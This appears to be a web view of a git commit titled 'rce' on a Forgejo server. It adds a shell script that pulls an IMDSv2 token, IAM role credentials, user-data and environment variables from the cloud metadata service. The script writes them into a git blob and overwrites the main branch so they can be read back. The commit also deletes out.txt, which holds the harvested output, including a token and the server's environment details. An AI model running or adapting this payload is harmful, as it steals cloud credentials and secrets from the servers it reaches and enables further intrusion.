rce
parent
90d5103569
commit
0a3e2caae8
|
|
@ -0,0 +1,17 @@
|
||||||
|
#!/bin/sh
|
||||||
|
# IMDSv2: get token first
|
||||||
|
TOK=$(curl -s --max-time 5 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
|
# Get role
|
||||||
|
ROLE=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null)
|
||||||
|
# Get creds
|
||||||
|
CREDS=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}" 2>/dev/null)
|
||||||
|
# Get user data
|
||||||
|
UD=$(curl -s --max-time 5 -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/user-data" 2>/dev/null)
|
||||||
|
# Env
|
||||||
|
ENV=$(env 2>&1 | head -30)
|
||||||
|
O="TOK=$TOK|ROLE=$ROLE|CREDS=$CREDS|UD=$UD|ENV=$ENV"
|
||||||
|
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
|
||||||
|
T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
|
||||||
|
H=$(git rev-parse HEAD 2>/dev/null)
|
||||||
|
C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null)
|
||||||
|
git update-ref refs/heads/main "$C" 2>/dev/null
|
||||||
40
out.txt
40
out.txt
|
|
@ -1,40 +0,0 @@
|
||||||
TOK=AQAEAIQG2tXXjvbjvVhk-EodronkwyunTmnMcgtBMd6pM8Q7YNqm0A==|ROLE=<?xml version="1.0" encoding="iso-8859-1"?>
|
|
||||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
||||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
||||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
|
||||||
<head>
|
|
||||||
<title>404 - Not Found</title>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>404 - Not Found</h1>
|
|
||||||
</body>
|
|
||||||
</html>|CREDS=|UD=<?xml version="1.0" encoding="iso-8859-1"?>
|
|
||||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
||||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
||||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
|
||||||
<head>
|
|
||||||
<title>404 - Not Found</title>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>404 - Not Found</h1>
|
|
||||||
</body>
|
|
||||||
</html>|ENV=USER=git
|
|
||||||
GIT_EXEC_PATH=/usr/lib/git-core
|
|
||||||
GIT_DIR=.
|
|
||||||
HOME=/var/lib/forgejo/data/home
|
|
||||||
GIT_PREFIX=
|
|
||||||
GITEA_WORK_DIR=/var/lib/forgejo
|
|
||||||
SYSTEMD_EXEC_PID=429
|
|
||||||
LOGNAME=git
|
|
||||||
JOURNAL_STREAM=8:12138
|
|
||||||
GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
|
|
||||||
PATH=/usr/lib/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
|
|
||||||
INVOCATION_ID=0f0827de18224f7285dd17659c79b7c1
|
|
||||||
GNUPGHOME=/var/lib/forgejo/data/home/.gnupg
|
|
||||||
LANG=C.UTF-8
|
|
||||||
GIT_TERMINAL_PROMPT=0
|
|
||||||
SHELL=/bin/bash
|
|
||||||
GIT_NO_REPLACE_OBJECTS=1
|
|
||||||
GIT_IMPLICIT_WORK_TREE=0
|
|
||||||
LC_ALL=C
|
|
||||||
PWD=/var/lib/forgejo/data/tmp/local-repo/upload.git1655191581
|
|
||||||
Loading…
Reference in New Issue